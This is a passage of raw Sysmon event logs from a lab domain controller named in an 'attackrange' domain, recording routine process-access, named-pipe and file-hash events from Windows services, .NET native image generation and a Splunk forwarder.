Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=9590726F3780E41319512A475D68839B,SHA256=0A3749558768E6E591D94EF78DBBC414F28AC46C283350961E544F870AEBAD3E,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000042550Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:15.961{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6F3F-613B-EA08-00000000F001}6820C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000042549Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:15.945{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F3F-613B-EA08-00000000F001}6820C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000042548Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:15.945{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F3F-613B-EA08-00000000F001}6820C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 10341000x800000000000000042547Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:15.945{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-65B2-613B-1300-00000000F001}92C:\Windows\System32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000042546Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:15.945{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-65B2-613B-1300-00000000F001}92C:\Windows\System32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000042545Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:15.945{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-65B2-613B-1300-00000000F001}92C:\Windows\System32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000042544Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:15.945{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-65B2-613B-1300-00000000F001}92C:\Windows\System32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000042543Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:15.945{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-65B2-613B-1300-00000000F001}92C:\Windows\System32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000042542Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:15.898{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6F3F-613B-E908-00000000F001}5240C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 18141800x800000000000000042541Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:15.898{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000042540Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:15.898{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 10341000x800000000000000042539Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:15.883{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F3F-613B-E908-00000000F001}5240C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000042538Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:15.883{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F3F-613B-E908-00000000F001}5240C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 18141800x800000000000000042537Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:15.883{7BD73061-6E00-613B-E006-00000000F001}5992\FTA_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 10341000x800000000000000042536Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:15.852{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6F3F-613B-E808-00000000F001}4264C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000042535Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:15.852{7BD73061-65B2-613B-1400-00000000F001}3404648C:\Windows\system32\svchost.exe{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exe0x100000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\cryptsvc.dll+6124|c:\windows\system32\cryptsvc.dll+5e34|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000042534Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:15.836{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F3F-613B-E808-00000000F001}4264C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000042533Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:15.836{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F3F-613B-E808-00000000F001}4264C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 10341000x800000000000000042532Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:15.789{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6F3F-613B-E708-00000000F001}6952C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000042531Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:15.773{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F3F-613B-E708-00000000F001}6952C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000042530Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:15.773{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F3F-613B-E708-00000000F001}6952C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 23542300x800000000000000042529Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:15.758{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=EB81C6B9E99EB6E5D1D171B1AE0F947C,SHA256=62F5F7B78DDC06F42BD80B20D16898773CFEFCEAA1B0E85D7AFA50259177F61A,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000042528Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:15.742{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\ApplicationMD5=D147E9E0B42CC2A9FFC74C6FA65A7400,SHA256=39173A4BE818C1E33EEEEE379C6AE3BC61CD6ADC7F29F5D61A8F23A38B157336,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000042527Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:15.742{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=FCB48BB885CF51634184327086E1881C,SHA256=523F9F96F57F8AD54C7A66A90BF9554535F5D9EE1D064C4E2835511140D0C6CC,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000042526Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:15.742{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=92453C815572FA88F980D61A24605113,SHA256=1600A70CC69FBC90D484749EF26CD223B0FE705A5AC4BE717B90AE3F98CDE972,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000042525Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:15.742{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\ApplicationMD5=2AED1127CF6774B4E0298E27018ECEE2,SHA256=B4DB32BC0EDF87D60B7033D2143936A81684A80C242C2E4A8A1468F2A2A63788,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000042524Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:15.695{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6F3F-613B-E608-00000000F001}3340C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000042523Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:15.680{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F3F-613B-E608-00000000F001}3340C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000042522Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:15.680{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F3F-613B-E608-00000000F001}3340C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Micro